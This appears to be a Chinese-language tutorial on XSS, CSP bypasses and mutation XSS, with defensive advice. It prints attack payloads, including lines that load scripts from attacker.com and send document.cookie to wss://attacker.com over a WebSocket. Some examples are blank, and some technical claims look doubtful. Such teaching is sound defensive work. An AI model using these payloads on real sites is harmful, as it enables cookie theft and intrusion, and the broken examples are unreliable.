当XSS遇上CSP与mXSS:绕过技巧与底层逻辑
字数 2693 2025-09-23 19:27:46
当XSS遇上CSP与mXSS:绕过技巧与底层逻辑
1. XSS基础回顾
1.1 XSS类型
- 反射型XSS:恶意脚本通过URL参数注入,服务器反射回页面执行
- 存储型XSS:恶意脚本存储在服务器端,每次访问页面时执行
- DOM型XSS:完全在客户端发生的XSS,不涉及服务器端处理
1.2 XSS常见注入点
- HTML标签内容:
<div>USER_INPUT</div> - HTML标签属性:``
- JavaScript代码:
<script>var a = "USER_INPUT";</script> - URL参数:
<a href="USER_INPUT">click</a> - CSS样式:
<div style="background:USER_INPUT"></div>
2. CSP防护机制与绕过
2.1 CSP基础
内容安全策略(Content Security Policy)通过HTTP头或meta标签定义:
Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted.cdn.com
2.2 常见CSP指令
default-src:默认资源加载策略script-src:控制JavaScript执行style-src:控制CSS加载img-src:控制图片加载connect-src:控制XHR、WebSocket等连接frame-src:控制iframe加载font-src:控制字体加载media-src:控制媒体文件加载object-src:控制插件加载(如Flash)base-uri:控制<base>标签使用form-action:控制表单提交目标
2.3 CSP绕过技术
2.3.1 基于脚本包含的绕过
- JSONP端点滥用:利用允许的第三方域名下的JSONP回调
<script src="https://trusted.com/api?callback=alert(1)"></script> - AngularJS沙箱逃逸:在允许AngularJS的情况下利用模板注入
<div ng-app>{{'a'.constructor.prototype.charAt=[].join;$eval('x=alert(1)')}}</div>
2.3.2 基于非脚本执行的绕过
- 数据URI执行:利用允许的
data:协议<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object> - CSS注入:利用
style-src不严格限制<style>@import url("javascript:alert(1)");</style> - SVG执行:利用SVG的脚本执行能力
<svg/onload=alert(1)>
2.3.3 基于CSP配置缺陷的绕过
- unsafe-inline:允许内联脚本时直接执行
<script>alert(1)</script> - unsafe-eval:允许
eval()等动态执行<script>eval('alert(1)')</script> - 通配符滥用:过于宽松的域名限制
<script src="https://attacker.com/xss.js"></script>
2.3.4 基于浏览器特性的绕过
- Service Worker注入:利用
connect-src不限制Service Worker注册navigator.serviceWorker.register('https://attacker.com/sw.js') - WebSocket CSP不严格:利用
connect-src允许的WebSocket泄露数据new WebSocket('wss://attacker.com').send(document.cookie)
3. mXSS(混合XSS)原理与利用
3.1 mXSS定义
混合XSS(Mutation XSS)是指当浏览器解析器对HTML进行规范化或修正时,原本安全的标记被转换为可执行的XSS向量。
3.2 mXSS产生原因
- HTML解析器与JavaScript解析器不一致
- DOM操作后的重新解析过程
- 浏览器对畸形HTML的容错处理
- 富文本编辑器处理逻辑缺陷
3.3 常见mXSS场景
3.3.1 属性值转标签
<div></div>
某些解析器可能将属性值中的">解释为标签结束
3.3.2 注释变异
<div><!--<img src="-->"></div>
浏览器可能错误处理注释边界
3.3.3 命名空间混淆
<svg><script>alert(1)</script></svg>
SVG命名空间中的脚本可能被不同处理
3.3.4 实体编码变异
<div><img src=x onerror=alert(1)></div>
某些DOM操作可能导致实体重新解码
3.4 mXSS利用技术
3.4.1 利用innerHTML变异
element.innerHTML = '<div><style></style></div>';
某些浏览器会重新解析导致样式标签后的内容被当作HTML
3.4.2 利用模板标签
<template><div>"></div></template>
模板内容在激活时可能发生变异
3.4.3 利用Range API
var range = document.createRange();
range.setStart(element, 0);
range.setEnd(element, 1);
range.createContextualFragment('');
Range操作可能导致解析变异
4. 高级绕过技术
4.1 基于DOM Clobbering的绕过
<form id="xss"><output name="innerHTML">alert(1)</output></form>
<script>
xss.innerHTML // 可能被DOM Clobbering覆盖
</script>
4.2 基于原型污染的绕过
Object.prototype.onerror = function() { alert(1) };
// 后续动态创建的DOM元素可能继承此事件处理器
4.3 基于Web Components的绕过
customElements.define('xss-element', class extends HTMLElement {
constructor() {
super();
this.attachShadow({mode: 'open'}).innerHTML = '<script>alert(1)</script>';
}
});
4.4 基于浏览器缓存的绕过
<link rel="stylesheet" href="https://victim.com/cache-poison.css">
通过缓存污染注入恶意CSS/JS
5. 防御建议
5.1 CSP最佳实践
- 避免使用
unsafe-inline和unsafe-eval - 限制
script-src为严格白名单 - 设置
default-src 'none'并逐个开启所需资源 - 使用nonce或hash限制内联脚本
- 限制
object-src 'none'或self - 设置
base-uri 'none'或self
5.2 防mXSS建议
- 使用
textContent代替innerHTML - 对用户输入进行严格的上下文相关编码
- 使用DOMPurify等专业过滤库
- 避免在客户端进行复杂的HTML解析
- 注意DOM操作后的重新解析风险
5.3 其他防御措施
- 实施严格的输入验证和输出编码
- 使用Content-Type头防止MIME混淆
- 设置X-XSS-Protection头(尽管有限)
- 使用Trusted Types API(现代浏览器)
- 实施Subresource Integrity检查第三方资源
6. 案例分析
6.1 CSP绕过案例:Google相册XSS
利用AngularJS和宽松的script-src策略,通过<iframe srcdoc>执行脚本
6.2 mXSS案例:Facebook Messenger
富文本编辑器处理HTML注释时产生变异,导致存储型XSS
6.3 DOM Clobbering案例:GitHub安全漏洞
通过表单元素覆盖DOM属性,绕过前端过滤
7. 工具与资源
7.1 CSP评估工具
- CSP Evaluator (https://csp-evaluator.withgoogle.com)
- CSP Scanner (https://cspscanner.com)
7.2 XSS测试工具
- XSS Hunter (https://xsshunter.com)
- BeEF (https://beefproject.com)
7.3 过滤库
- DOMPurify (https://github.com/cure53/DOMPurify)
- sanitize-html (https://github.com/apostrophecms/sanitize-html)
8. 未来趋势
- Trusted Types API:强制类型安全的前端防御
- WASM与XSS:WebAssembly带来的新攻击面
- SameSite Cookie的普及:对XSS利用的影响
- 浏览器沙箱强化:如Site Isolation等防护机制
- AI辅助的XSS检测:机器学习在防御中的应用